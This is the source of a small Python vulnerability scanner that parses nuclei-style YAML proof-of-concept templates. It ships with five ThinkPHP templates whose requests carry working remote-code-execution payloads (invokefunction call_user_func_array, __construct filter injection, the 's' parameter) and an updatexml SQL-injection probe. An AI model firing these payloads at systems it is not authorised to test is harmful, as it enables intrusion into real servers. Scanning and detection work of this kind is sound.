├── .gitignore
├── README.md
├── config.py
├── core
├── __init__.py
└── logger.py
├── images
└── demo1.png
├── main.py
├── template
├── __init__.py
├── dns.py
├── exceptions.py
├── extractors.py
├── hosterrorscache.py
├── interactsh.py
├── matchers.py
├── model.py
├── operators.py
├── options.py
├── pyparser.py
├── request.py
├── runner.py
└── template.py
└── vulns
├── thinkphp-2-rce.yaml
├── thinkphp-501-rce.yaml
├── thinkphp-5022-rce.yaml
├── thinkphp-5023-rce.yaml
└── thinkphp-509-information-disclosure.yaml
/.gitignore:
--------------------------------------------------------------------------------
1 | parser.py
2 | grpcserver.py
3 | .DS_Store
4 | .idea/
5 | __pycache__
6 | *.pyc
7 | proto/
8 | vulnsall/
9 | build_proto.py
10 |
11 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | Any[nuclei/xray/ezreal] pocs yaml parse
3 |
4 | 各大平台插件究极缝合[Python实现]
5 |
6 | ___
7 | ## Todos
8 | - [x] nuclei-template http support
9 | - [ ] nuclei-template file support
10 | - [ ] nuclei-template dns support
11 | - [ ] xray pocs basic parse support
12 | - [ ] ez pocs basic parse support
13 |
14 | ## ⭐️ Demo
15 | 
--------------------------------------------------------------------------------
/config.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | logging_level = logging.INFO
4 | logging_format = "[%(levelname)s] %(message)s"
5 |
--------------------------------------------------------------------------------
/core/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1oid/AnyPocsYamlParser/a8935d097a90408fcdef3c89b0e45c541b2ffcb3/core/__init__.py
--------------------------------------------------------------------------------
/core/logger.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import colorama
3 | from typing import Dict
4 | from termcolor import colored
5 | from config import logging_level, logging_format
6 |
7 |
8 | # coloredlogs.DEFAULT_FIELD_STYLES = {
9 | # 'hostname': {'color': 'magenta'},
10 | # 'programname': {'color': 'cyan'},
11 | # 'name': {'color': 'blue'},
12 | # 'levelname': {'color': 'black', 'bold': True},
13 | # 'asctime': {'color': 'magenta'}}
14 | #
15 | # coloredlogs.install(
16 | # fmt="[%(levelname)s] %(message)s",
17 | # field_styles={},
18 | # level_styles=dict(
19 | # debug={"color": "yellow"},
20 | # info={"color": "white"},
21 | # warning={"color": "red"},
22 | # error={"color": "red"},
23 | # )
24 | # )
25 | #
26 | # handler = colorlog.StreamHandler()
27 | # handler.setFormatter(
28 | # colorlog.ColoredFormatter(
29 | # "%(log_color)s[%(levelname)s] %(reset)s %(blue)s%(message)s",
30 | # reset=True,
31 | # log_colors={
32 | # 'DEBUG': 'cyan',
33 | # 'INFO': 'green',
34 | # 'WARNING': 'yellow',
35 | # 'ERROR': 'red,bg_white',
36 | # 'CRITICAL': 'red',
37 | # },
38 | # style='%'
39 | # ))
40 |
41 |
42 | # def getLogger() -> logging:
43 | # logger = logging.getLogger()
44 | # logger.addHandler(handler)
45 | # return logger
46 |
47 | # #
48 | # l = getLogger()
49 | # l.error("ok")
50 |
51 | class getLogger(object):
52 |
53 | def __init__(self):
54 | pass
55 |
56 | def base_log(self, level, level_color,
57 | messages: Dict[str, str], hidden_level=False):
58 | texts = []
59 | if not hidden_level and level and level_color:
60 | texts.append('[{}]'.format(colored(level, level_color)))
61 |
62 | for k, color in messages.items():
63 | texts.append(colored(k, color))
64 | return "".join(texts)
65 |
66 | def log(self, messages: Dict[str, str], hidden_level=False,
67 | level=None, level_color=None):
68 | print(self.base_log(
69 | level=level, level_color=level_color,
70 | messages=messages, hidden_level=hidden_level
71 | ))
72 |
73 |
74 | if __name__ == '__main__':
75 | # print(getLogger().info({}))
76 | pass
77 |
78 |
--------------------------------------------------------------------------------
/images/demo1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1oid/AnyPocsYamlParser/a8935d097a90408fcdef3c89b0e45c541b2ffcb3/images/demo1.png
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import os
2 | from pprint import pprint
3 | from optparse import OptionParser
4 | from core.logger import getLogger
5 | from template.options import Options
6 | from template.template import Template
7 | from template.model import Info
8 | from template.request import Request
9 | from template.runner import Runner
10 | import urllib3
11 | urllib3.disable_warnings()
12 |
13 |
14 | def scan_callback(template: Template, url: str):
15 | try:
16 | return {
17 | "severity": template.Info.SeverityHolder,
18 | "plugin": template.ID,
19 | "url": url,
20 | "name": template.Info.Name
21 | }
22 | except Exception as e:
23 | return None
24 |
25 |
26 | if __name__ == '__main__':
27 | logger = getLogger()
28 |
29 | usage = '%prog -t http://localhost:8080'
30 | parser = OptionParser(usage=usage)
31 | parser.add_option("-t", "--target", dest="target", help="URL target", default=None)
32 | parser.add_option("", "--pocs", dest='pocs', help="pocs directory", default="vulns/")
33 | # parser.add_option("-a", "--all", dest='all', action="store_true", help="指定--all加载所有的poc")
34 | options, args = parser.parse_args()
35 |
36 | if not options.target:
37 | raise Exception("missing target")
38 |
39 | url = options.target
40 | pocs = options.pocs
41 | pocs = options.pocs if str(options.pocs).endswith("/") else pocs + "/"
42 |
43 | optionRunner = Options(
44 | url=url,
45 | templates=[pocs + x for x in os.listdir(pocs)]
46 | )
47 |
48 | logger.log(messages={
49 | "[INFO] ": "blue",
50 | "调用poc个数{}".format(len(optionRunner.Templates)): "white"
51 | })
52 |
53 | for item in Runner(optionRunner).run(scan_callback):
54 | pass
55 |
56 |
57 |
58 |
--------------------------------------------------------------------------------
/template/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1oid/AnyPocsYamlParser/a8935d097a90408fcdef3c89b0e45c541b2ffcb3/template/__init__.py
--------------------------------------------------------------------------------
/template/dns.py:
--------------------------------------------------------------------------------
1 | """
2 | https://github.com/projectdiscovery/nuclei/blob/149edf12d56f47a2a3b72080de08e9d50146e307/v2/pkg/protocols/dns/dns.go#L21
3 | """
4 |
5 | from typing import Mapping, List
6 |
7 | from template.operators import Operators
8 | from template.interactsh import Client
9 |
10 |
11 | class Request:
12 | ID: str = None
13 | Name: str = None
14 | RequestType: str = None
15 | Class: str
16 | Retries: int
17 | Trace: bool
18 | TraceMaxRecursion: int
19 | CompiledOperators: Operators
20 | dnsClient: Client
21 | options: object
22 | clazz: int
23 | question: int
24 | Recursion: bool
25 | Resolvers: [str]
26 |
27 | def get_compile_operators(self) -> List[Operators]:
28 | return []
29 |
30 | def get_id(self):
31 | return self.ID
32 |
33 | def compile(request, options):
34 | if request.Retries == 0:
35 | request.Retries = 3
36 |
37 | if request.Recursion is None:
38 | recusion = True
39 | request.Recursion = recusion
40 |
41 |
42 |
43 |
44 | RequestPartDefinitions: Mapping[str, str] = {
45 | "template-id": "ID of the template executed",
46 | "template-info": "Info Block of the template executed",
47 | "template-path": "Path of the template executed",
48 | "host": "Host is the input to the template",
49 | "matched": "Matched is the input which was matched upon",
50 | "request": "Request contains the DNS request in text format",
51 | "type": "Type is the type of request made",
52 | "rcode": "Rcode field returned for the DNS request",
53 | "question": "Question contains the DNS question field",
54 | "extra": "Extra contains the DNS response extra field",
55 | "answer": "Answer contains the DNS response answer field",
56 | "ns": "NS contains the DNS response NS field",
57 | "raw,body,all": "Raw contains the raw DNS response (default)",
58 | "trace": "Trace contains trace data for DNS request if enabled",
59 | }
60 |
--------------------------------------------------------------------------------
/template/exceptions.py:
--------------------------------------------------------------------------------
1 | class AnyBadException(Exception):
2 | """
3 | 任意报错
4 | """
5 | def __init__(self):
6 | pass
7 |
--------------------------------------------------------------------------------
/template/extractors.py:
--------------------------------------------------------------------------------
1 |
2 |
3 | class ExtractorTypeHolder():
4 | def __init__(self):
5 | self.ExtractorType = self
6 |
7 |
8 | class Extractor:
9 | Name: str
10 | Type: int
11 | extractorType: int
12 | Regex: [str]
13 | RegexGroup: int
14 | regexCompiled: []
15 | KVal: [str]
16 | JSON: [str]
17 | XPath: [str]
18 | Attribute: str
19 | jsonCompiled: []
20 | Part: str
21 | Internal: bool
22 | CaseInsensitive: bool
23 |
--------------------------------------------------------------------------------
/template/hosterrorscache.py:
--------------------------------------------------------------------------------
1 | class Cache:
2 | MaxHostError: int
3 | verbose: bool
4 | failedTargets: object
5 |
6 | def set_verbose(self, verbose: bool):
7 | self.verbose = verbose
8 |
9 | def close(self):
10 | pass
11 |
--------------------------------------------------------------------------------
/template/interactsh.py:
--------------------------------------------------------------------------------
1 | from template.hosterrorscache import Cache
2 |
3 |
4 | class Client:
5 | interactsh: object
6 | requests: Cache
7 | interactions: Cache
8 | matchedTemplates: Cache
9 | options: object
10 | eviction: int
11 | pollDuration: int
12 | cooldownDuration: int
13 |
14 | hostname: str
15 | firstTimeGroup: str
16 | generated: int
17 | matched: bool
18 |
--------------------------------------------------------------------------------
/template/matchers.py:
--------------------------------------------------------------------------------
1 | import re
2 | from enum import Enum
3 | from typing import Mapping
4 | from requests import Response
5 |
6 |
7 | class MatcherType(Enum):
8 | WordsMatcher = 1
9 | RegexMatcher = 2
10 | BinaryMatcher = 3
11 | StatusMatcher = 4
12 | SizeMatcher = 5
13 | DSLMatcher = 6
14 | limit = 7
15 |
16 | #
17 | # class MatcherTypeHolder(MatcherType):
18 | #
19 | # def __init__(self):
20 | # self.MatcherType = self
21 |
22 |
23 | class Matcher:
24 |
25 | Type: MatcherType
26 | Condition: str
27 | Part: str
28 | Negative: bool
29 | Name: str
30 | Status: [int]
31 | Size: [int]
32 | Words: [str]
33 | Regex: [str]
34 | Binary: [str]
35 | DSL: [str]
36 | Encoding: str
37 | CaseInsensitive: str
38 |
39 | condition: int
40 | matcherType: int
41 | binaryDecoded: [str]
42 | regexCompiled: []
43 | dslCompiled: []
44 |
45 | def __init__(self, type=None, condition=None,
46 | part=None, negative=None,
47 | name=None, status=None,
48 | size=None, words=None,
49 | regex=None, binary=None,
50 | dsl=None, **kwargs):
51 | self.Type = get_matchertype_from_string(type)
52 | self.Condition = get_condition_from_string(condition)
53 | self.Part = part
54 | self.Negative = negative
55 | self.Name = name
56 | self.Status = status
57 | self.Size = size
58 | self.Words = words
59 | self.Regex = regex
60 | self.Binary = binary
61 | self.DSL = dsl
62 |
63 | def get_type(self):
64 | return self.Type.MatcherType
65 |
66 | def compile(self, response: Response):
67 | # print(self.Condition, self.Type, response.status_code, self.Status)
68 | if not response:
69 | return False
70 |
71 | if self.Words and self.Type == MatcherType.WordsMatcher:
72 | if self.Condition == ANDCondition:
73 | if all([word in response.text for word in self.Words]):
74 | return True
75 | elif self.Condition == ORCondition:
76 | if any([word in response.text for word in self.Words]):
77 | return True
78 | elif self.Type == MatcherType.StatusMatcher:
79 | """
80 | 这里要改一下
81 | """
82 | if self.Condition == ANDCondition:
83 | if all([status == response.status_code for status in self.Status]):
84 | return True
85 | elif self.Condition == ORCondition:
86 | if any([status == response.status_code for status in self.Status]):
87 | return True
88 | elif self.Type == MatcherType.RegexMatcher:
89 | try:
90 | if self.Condition == ANDCondition:
91 | if all([re.search(r'{}'.format(regx), response.text) for regx in self.Regex]):
92 | return True
93 | elif self.Condition == ORCondition:
94 | if any([re.search(r'{}'.format(regx), response.text) for regx in self.Regex]):
95 | return True
96 | except re.error as e:
97 | return False
98 |
99 |
100 | ConditionType = int
101 | MatcherTypes = {
102 | MatcherType.StatusMatcher: 'status',
103 | MatcherType.SizeMatcher: "size",
104 | MatcherType.WordsMatcher: "word",
105 | MatcherType.RegexMatcher: "regex",
106 | MatcherType.BinaryMatcher: "binary",
107 | MatcherType.DSLMatcher: "dsl",
108 | }
109 |
110 |
111 | def get_matchertype_from_string(string):
112 | for k, v in MatcherTypes.items():
113 | if v == string:
114 | return k
115 | return MatcherType.WordsMatcher
116 |
117 |
118 | def get_condition_from_string(string: str):
119 | if string is None:
120 | return ConditionTypes.get("and")
121 | return ConditionTypes.get(string.lower(), None)
122 |
123 |
124 | ANDCondition: int = 1
125 | ORCondition: int = 2
126 | ConditionTypes: Mapping[str, int] = {
127 | "and": ANDCondition,
128 | "or": ORCondition
129 | }
130 |
131 |
132 |
133 |
--------------------------------------------------------------------------------
/template/model.py:
--------------------------------------------------------------------------------
1 | """
2 | v2/pkg/model/model.go
3 | """
4 |
5 |
6 | class Info(object):
7 |
8 | Name: str = None
9 | Authors: str = None
10 | Tags: str = None
11 | Description: str = None
12 | Reference: str = None
13 | SeverityHolder: str = None
14 |
15 | def __init__(self,
16 | name=None, auther=None, tags=None,
17 | description=None, reference=None,
18 | severity=None, **kwargs):
19 | self.Name = name
20 | self.Authors = auther
21 | self.Tags = tags
22 | self.Description = description
23 | self.Reference = reference
24 | self.SeverityHolder = severity
25 |
26 |
27 | class ServerityChoice:
28 | ServerityCritical = "critical"
29 | ServerityHigh = "high"
30 | ServerityMedium = "medium"
31 | ServerityLow = "low"
32 | ServerityInfo = "info"
33 |
--------------------------------------------------------------------------------
/template/operators.py:
--------------------------------------------------------------------------------
1 | """
2 | https://github.com/projectdiscovery/nuclei/blob/149edf12d56f47a2a3b72080de08e9d50146e307/v2/pkg/operators/operators.go#L13
3 | """
4 | from typing import List, Mapping
5 | from template.matchers import Matcher, ConditionType
6 | from template.extractors import Extractor
7 |
8 |
9 | class Operators:
10 |
11 | Matchers: List[Matcher] = []
12 | Extractors: List[Extractor] = []
13 | MatchersCondition: str
14 | matchersCondition: ConditionType
15 |
16 | def get_matchers_condition(self) -> ConditionType:
17 | return self.matchersCondition
18 |
19 |
20 | class Result:
21 | Matched: bool
22 | Extracted: bool
23 | # Mapping[str, List[str]]
24 | Matches: {}
25 | # Mapping[str, List[str]]
26 | Extracts: {}
27 | OutputExtracts: [str]
28 | outputUnique: Mapping[str, object]
29 | DynamicValues: Mapping[str, List[str]]
30 | PayloadValues: Mapping[str, object]
31 |
32 | def merge(self, result):
33 | if not self.Matched and result.Matched:
34 | self.Matched = result.Matched
35 |
36 | if not self.Extracted and result.Extracted:
37 | self.Extracted = result.Extracted
38 |
39 | for k, v in result.Matches.items():
40 | self.Matches[k] = v
41 |
42 | for k, v in result.Extracts.items():
43 | self.Extracts[k] = v
44 |
45 |
--------------------------------------------------------------------------------
/template/options.py:
--------------------------------------------------------------------------------
1 | from typing import List
2 |
3 |
4 | class Options(object):
5 | Url: str
6 | RequestProxy: dict
7 | RequestAllowRedirect: bool = True
8 | RequestHeaders: dict = {
9 | "Content-Type": "application/x-www-form-urlencoded",
10 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
11 | "Chrome/72.0.3626.121 Safari/537.36"
12 | }
13 | Templates: List[str] = []
14 | RequestSSLVerify: bool = False
15 |
16 | def __init__(self, url=None, request_proxy=None,
17 | request_allow_redirect=True,
18 | request_headers: dict={},
19 | templates=[], **kwargs):
20 | self.Url = url
21 | self.RequestProxy = request_proxy
22 | self.RequestAllowRedirect = request_allow_redirect
23 | self.RequestHeaders = dict(self.RequestHeaders, **request_headers)
24 | self.Templates = templates
25 |
26 |
--------------------------------------------------------------------------------
/template/pyparser.py:
--------------------------------------------------------------------------------
1 | import pyparsing
2 | from ast import literal_eval
3 | from asteval import Interpreter
4 |
5 | import requests
6 |
7 | identifier = pyparsing.QuotedString('"')
8 | operator = (
9 | pyparsing.Literal("=") |
10 | pyparsing.Literal("≠") |
11 | pyparsing.Literal("≥") |
12 | pyparsing.Literal("≤") |
13 | pyparsing.Literal("<") |
14 | pyparsing.Literal(">")
15 | )
16 | value = pyparsing.QuotedString('"')
17 | match_format = identifier + operator + value
18 |
19 | print(
20 | match_format.parseString("\"a\" = \"1\"")
21 | )
22 |
23 | a = 1
24 | import os
25 | print(eval("os.listdir('.')", {"__builtins__": {}}))
26 |
27 |
28 | class Response:
29 | status_code = 201
30 |
31 |
32 | interpreter = Interpreter()
33 | interpreter.symtable['response'] = Response
34 |
35 | print(interpreter.eval("response.status_code == 200"))
36 | # print(interpreter.eval("a = 1"))
37 |
--------------------------------------------------------------------------------
/template/request.py:
--------------------------------------------------------------------------------
1 | import json
2 | from typing import List, Mapping
3 |
4 | import requests.exceptions
5 |
6 | from template.exceptions import AnyBadException
7 | from template.matchers import Matcher, ANDCondition, ORCondition, get_condition_from_string
8 | import requests as httpclient
9 |
10 | from template.options import Options
11 |
12 |
13 | class HTTPClient(object):
14 |
15 | def __init__(self):
16 | self.base = None
17 |
18 | def get_instance(self):
19 | return httpclient
20 |
21 | def set_baseurl(self, url: str):
22 | self.base = url if url.endswith("/") else url + "/"
23 |
24 | def base_request(self, method: str, path: str, body=None, options: Options=None):
25 | # print("Request path: ", path)
26 | # print("Request method: ", method)
27 | # print("Request body: ", body)
28 |
29 | kwargs = {
30 | "proxies": options.RequestProxy,
31 | "headers": options.RequestHeaders,
32 | "allow_redirects": options.RequestAllowRedirect,
33 | "verify": options.RequestSSLVerify
34 | }
35 |
36 | if method.lower() == "get":
37 | return self.get_instance().get(path, **kwargs)
38 | elif method.lower() == "post":
39 | if isinstance(body, dict):
40 | body = json.dumps(body)
41 | return self.get_instance().post(
42 | path, data=body, **kwargs
43 | )
44 | elif method.lower() == "delete":
45 | return self.get_instance().delete(path, **kwargs)
46 |
47 |
48 | class Request:
49 | Path: List[str]
50 | Raw: List[str]
51 | ID: str
52 | Name: str
53 | AttachType: str
54 | Method: str
55 | Body: str
56 | Payloads: Mapping[str, object]
57 | Headers: Mapping[str, str]
58 | RaceNumberRequests: int
59 | MaxRedirects: int
60 | Threads: int
61 | Redirects: int
62 |
63 | Matchers: List[Matcher]
64 | Matchers_Condition: bool = ANDCondition
65 | HTTPRequest = HTTPClient()
66 |
67 | def __init__(self,
68 | path=None, raw=None, id=None, name=None,
69 | method=None, body=None, headers=None,
70 | redirects=None, matchers=None, **kwargs):
71 | self.Path = path
72 | self.Raw = raw
73 | self.ID = id
74 | self.Name = name
75 | self.Method = method
76 | self.Body = body
77 | self.Headers = headers
78 | self.Redirects = redirects
79 |
80 | self.Matchers = [
81 | Matcher(**matcher) for matcher in matchers
82 | ] if matchers else []
83 | self.Matchers_Condition = get_condition_from_string(kwargs.get("matchers-condition", "and").lower())
84 |
85 | def replace(self, url, path: str):
86 | path = path.replace("{{BaseURL}}", url)
87 | path = path.replace("{{RootURL}}", url)
88 | path = path.replace("{{interactsh-url}}", url)
89 | return path
90 |
91 | def compile(self, options: Options) -> str:
92 | # 临时加的
93 | if not all([options.Url, self.Path]):
94 | return
95 |
96 | url = self.replace(options.Url, path=self.Path[0])
97 |
98 | try:
99 | response = self.HTTPRequest.base_request(
100 | method=self.Method if self.Method else "GET",
101 | path=url, body=self.Body, options=options)
102 | except requests.exceptions.ProxyError as e:
103 | return
104 |
105 | # matchers-condition 判断
106 | if self.Matchers_Condition == ANDCondition:
107 | coditions = [matcher.compile(response) for matcher in self.Matchers]
108 | if len(coditions) and all(coditions):
109 | return url
110 | elif self.Matchers_Condition == ORCondition:
111 | if any([matcher.compile(response) for matcher in self.Matchers]):
112 | return url
113 | # print("STATUS: ", response.status_code)
114 |
115 | def get_id(self):
116 | return self.ID
117 |
118 |
119 | class File:
120 | Extensions: List[str] # extensions
121 | DenyList: List[str] # denylist
122 | ID: str # id
123 | MaxSize: str # max-size - value: "\"5Mb\""
124 | maxSize: int
125 | Archive: bool
126 | # CompiledOperators:
127 | extensions: Mapping[str, object]
128 | denyList: Mapping[str, object]
129 | NoRecursive: bool # no-recursive
130 | allExtensions: bool
131 |
132 | Matchers: List[Matcher]
133 | Matchers_Condition: bool = ANDCondition
134 | HTTPRequest = HTTPClient()
135 |
136 | def __init__(self, extensions=None, denylist=None, id=None, extractors=None, **kwargs):
137 | self.Extensions = extensions
138 | self.DenyList = denylist
139 | self.ID = id
140 | self.MaxSize = kwargs.get("max-size")
141 | self.NoRecursive = kwargs.get("no-recursive")
142 |
143 | self.Matchers = [
144 | Matcher(**matcher) for matcher in extractors
145 | ] if extractors else []
146 | self.Matchers_Condition = get_condition_from_string(kwargs.get("matchers-condition", "and").lower())
147 |
148 | def getID(self):
149 | return self.ID
150 |
151 | def compile(self, options: Options):
152 | pass
153 |
154 |
155 | defaultDenylist = {
156 | ".3g2", ".3gp", ".arj", ".avi", ".axd", ".bmp", ".css", ".csv", ".deb",
157 | ".dll", ".doc", ".drv", ".eot", ".exe", ".flv", ".gif", ".gifv", ".h264",
158 | ".ico", ".iso", ".jar", ".jpeg", ".jpg", ".lock", ".m4a", ".m4v", ".map",
159 | ".mkv", ".mov", ".mp3", ".mp4", ".mpeg", ".mpg", ".msi", ".ogg", ".ogm",
160 | ".ogv", ".otf", ".pdf", ".pkg", ".png", ".ppt", ".psd", ".rm", ".rpm", ".svg",
161 | ".swf", ".sys", ".tif", ".tiff", ".ttf", ".vob", ".wav", ".webm", ".wmv", ".woff",
162 | ".woff2", ".xcf", ".xls", ".xlsx"
163 | }
164 |
165 | defaultArchiveDenyList = {".7z", ".apk", ".gz", ".rar", ".tar.gz", ".tar", ".zip"}
--------------------------------------------------------------------------------
/template/runner.py:
--------------------------------------------------------------------------------
1 | from template.exceptions import AnyBadException
2 | from template.request import Request, File
3 | from template.model import Info
4 | from template.options import Options as OptionsType
5 | import yaml
6 |
7 | from template.template import Template
8 |
9 |
10 | class Runner(object):
11 |
12 | Options: OptionsType
13 |
14 | def __init__(self, options: OptionsType):
15 | self.Options = options
16 |
17 | def yaml_parse(self, file) -> Template:
18 | poc_yaml_text = yaml.load(open(file), Loader=yaml.FullLoader)
19 | id = poc_yaml_text.get("id") or poc_yaml_text.get("name")
20 | info = Info(**poc_yaml_text.get("info"))
21 | requests = []
22 | files = []
23 |
24 | # 临时加的
25 | # if not poc_yaml_text.get("requests"):
26 | # raise AnyBadException()
27 |
28 | if poc_yaml_text.get("requests"):
29 | for request in poc_yaml_text.get("requests"):
30 | requests.append(Request(**request))
31 |
32 | if poc_yaml_text.get("file"):
33 | for file in poc_yaml_text.get("file"):
34 | files.append(File(**file))
35 |
36 | return Template(id=id, info=info, requests=requests, files=files)
37 | # template.list_requests()
38 | # template.compile(url)
39 |
40 | def run(self, callback=None):
41 | templates = self.Options.Templates
42 |
43 | for poc_template in templates:
44 | # print("load {}".format(poc_template))
45 | try:
46 | template = self.yaml_parse(poc_template)
47 | except KeyError as e:
48 | print("error in run {}".format(poc_template), e)
49 | continue
50 |
51 | # poc模板处理options参数
52 | for result in template.compile(self.Options):
53 | if callback and result:
54 | yield callback(template, result)
55 | # print(template.Info.SeverityHolder, self.Options.Url)
56 | # print(template.Info.SeverityHolder)
57 |
--------------------------------------------------------------------------------
/template/template.py:
--------------------------------------------------------------------------------
1 | """
2 | https://github.com/projectdiscovery/nuclei/blob/149edf12d56f47a2a3b72080de08e9d50146e307/v2/pkg/templates/templates.go
3 | """
4 | # import telegram.client
5 | from typing import List
6 |
7 | from core.logger import getLogger
8 | from template import model, request
9 | from template.model import ServerityChoice
10 | from template.options import Options
11 |
12 |
13 | class Template(object):
14 | ID: str = ""
15 | Info: model.Info = None
16 | RequestsHTTP: List[request.Request]
17 | RequestsFile: List[request.File]
18 | logger = getLogger()
19 |
20 | def __init__(self, id, info: model.Info, requests, files):
21 | self.ID = id
22 | self.Info = info
23 | self.RequestsHTTP = requests
24 | self.RequestsFile = files
25 |
26 | def list_requests(self):
27 | for request_http in self.RequestsHTTP:
28 | print("method: ", request_http.Method)
29 | print("path: ", request_http.Path)
30 | print("header: ", request_http.Headers)
31 | print("body: ", request_http.Body)
32 |
33 | for matcher in request_http.Matchers:
34 | print("matcher type: ", matcher.Type)
35 | print("matcher condition: ", matcher.Condition)
36 | # print(matcher.)
37 |
38 | def log(self, request_success_url):
39 | if request_success_url:
40 | if self.Info.SeverityHolder == ServerityChoice.ServerityCritical:
41 | # self.logger.critical("{}".format(request_success_url))
42 | # self.logger.info("{}".format(request_success_url))
43 | self.logger.log(messages={
44 | "[{}] ".format(self.Info.SeverityHolder): "red",
45 | "[{}] ".format(self.ID): "green",
46 | request_success_url: "white"
47 | })
48 | elif self.Info.SeverityHolder == ServerityChoice.ServerityHigh:
49 | # self.logger.critical("{}".format(request_success_url))
50 | # self.logger.info("{}".format(request_success_url))
51 | self.logger.log(messages={
52 | "[{}] ".format(self.Info.SeverityHolder): "red",
53 | "[{}] ".format(self.ID): "green",
54 | request_success_url: "white"
55 | })
56 | elif self.Info.SeverityHolder == ServerityChoice.ServerityMedium:
57 | # self.logger.critical("{}".format(request_success_url))
58 | # self.logger.info("{}".format(request_success_url))
59 | self.logger.log(messages={
60 | "[{}] ".format(self.Info.SeverityHolder): "yellow",
61 | "[{}] ".format(self.ID): "green",
62 | request_success_url: "white"
63 | })
64 | elif self.Info.SeverityHolder == ServerityChoice.ServerityLow:
65 | # self.logger.critical("{}".format(request_success_url))
66 | # self.logger.info("{}".format(request_success_url))
67 | self.logger.log(messages={
68 | "[{}] ".format(self.Info.SeverityHolder): "blue",
69 | "[{}] ".format(self.ID): "green",
70 | request_success_url: "white"
71 | })
72 | elif self.Info.SeverityHolder == ServerityChoice.ServerityInfo:
73 | # self.logger.critical("{}".format(request_success_url))
74 | # self.logger.info("{}".format(request_success_url))
75 | self.logger.log(messages={
76 | "[{}] ".format(self.Info.SeverityHolder): "blue",
77 | "[{}] ".format(self.ID): "green",
78 | request_success_url: "white"
79 | })
80 |
81 | def compile(self, options: Options):
82 |
83 | # 解析模板里面的requests进行请求发起
84 | for request_http in self.RequestsHTTP:
85 | request_success_url = request_http.compile(options)
86 | yield request_success_url
87 | self.log(request_success_url)
88 |
89 | for request_file in self.RequestsFile:
90 | request_success_url = request_file.compile(options)
91 | yield request_success_url
92 | self.log(request_success_url)
93 |
--------------------------------------------------------------------------------
/vulns/thinkphp-2-rce.yaml:
--------------------------------------------------------------------------------
1 | id: thinkphp-2-rce
2 |
3 | info:
4 | name: ThinkPHP 2 / 3 's' Parameter RCE
5 | author: dr_set
6 | severity: critical
7 | description: ThinkPHP 2.x version and 3.0 in Lite mode Remote Code Execution.
8 | reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/2-rce
9 | tags: thinkphp,rce
10 |
11 | requests:
12 | - method: GET
13 | path:
14 | - "{{BaseURL}}/index.php?s=/index/index/name/$%7B@phpinfo()%7D"
15 |
16 | matchers-condition: and
17 | matchers:
18 | - type: word
19 | words:
20 | - "PHP Extension"
21 | - "PHP Version"
22 | - "ThinkPHP"
23 | condition: and
24 |
25 | - type: status
26 | status:
27 | - 200
28 |
--------------------------------------------------------------------------------
/vulns/thinkphp-501-rce.yaml:
--------------------------------------------------------------------------------
1 | id: thinkphp-501-rce
2 |
3 | info:
4 | name: ThinkPHP 5.0.1 RCE
5 | author: lark-lab
6 | severity: critical
7 | description: A vulnerability in ThinkPHP allows remote unauthenticated attackers to cause the product to execute arbitrary code via the 's' parameter.
8 | tags: thinkphp,rce
9 |
10 | requests:
11 | - method: POST
12 | path:
13 | - "{{BaseURL}}/?s=index/index/index"
14 | body: "s=phpinfo()&_method=__construct&filter=assert"
15 | headers:
16 | Content-Type: application/x-www-form-urlencoded
17 |
18 | matchers-condition: and
19 | matchers:
20 | - type: word
21 | words:
22 | - "PHP Extension"
23 | - "PHP Version"
24 | condition: and
25 |
26 | - type: status
27 | status:
28 | - 200
29 |
--------------------------------------------------------------------------------
/vulns/thinkphp-5022-rce.yaml:
--------------------------------------------------------------------------------
1 | id: thinkphp-5022-rce
2 |
3 | info:
4 | name: ThinkPHP 5.0.22 RCE
5 | author: dr_set
6 | severity: critical
7 | description: Thinkphp5 5.0.22/5.1.29 Remote Code Execution if the website doesn't have mandatory routing enabled (which is default).
8 | reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5-rce
9 | tags: thinkphp,rce
10 |
11 | requests:
12 | - method: GET
13 | path:
14 | - "{{BaseURL}}?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
15 |
16 | matchers-condition: and
17 | matchers:
18 | - type: word
19 | words:
20 | - "PHP Extension"
21 | - "PHP Version"
22 | - "ThinkPHP"
23 | condition: and
24 |
25 | - type: status
26 | status:
27 | - 200
28 |
--------------------------------------------------------------------------------
/vulns/thinkphp-5023-rce.yaml:
--------------------------------------------------------------------------------
1 | id: thinkphp-5023-rce
2 |
3 | info:
4 | name: ThinkPHP 5.0.23 RCE
5 | author: dr_set
6 | severity: critical
7 | description: Thinkphp5 5.0(<5.0.24) Remote Code Execution.
8 | reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5.0.23-rce
9 | tags: thinkphp,rce
10 |
11 | requests:
12 | - method: POST
13 | path:
14 | - "{{BaseURL}}/index.php?s=captcha"
15 |
16 | headers:
17 | Content-Type: application/x-www-form-urlencoded
18 |
19 | body: "_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1"
20 |
21 | matchers-condition: and
22 | matchers:
23 | - type: word
24 | words:
25 | - "PHP Extension"
26 | - "PHP Version"
27 | - "ThinkPHP"
28 | condition: and
29 |
30 | - type: status
31 | status:
32 | - 200
--------------------------------------------------------------------------------
/vulns/thinkphp-509-information-disclosure.yaml:
--------------------------------------------------------------------------------
1 | id: thinkphp-509-information-disclosure
2 |
3 | info:
4 | name: ThinkPHP 5.0.9 Information Disclosure
5 | author: dr_set
6 | severity: critical
7 | description: Verbose SQL error message reveals sensitive information including database credentials.
8 | reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/in-sqlinjection
9 | tags: thinkphp
10 |
11 | requests:
12 | - method: GET
13 | path:
14 | - "{{BaseURL}}/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1"
15 |
16 | matchers-condition: and
17 | matchers:
18 | - type: word
19 | condition: and
20 | words:
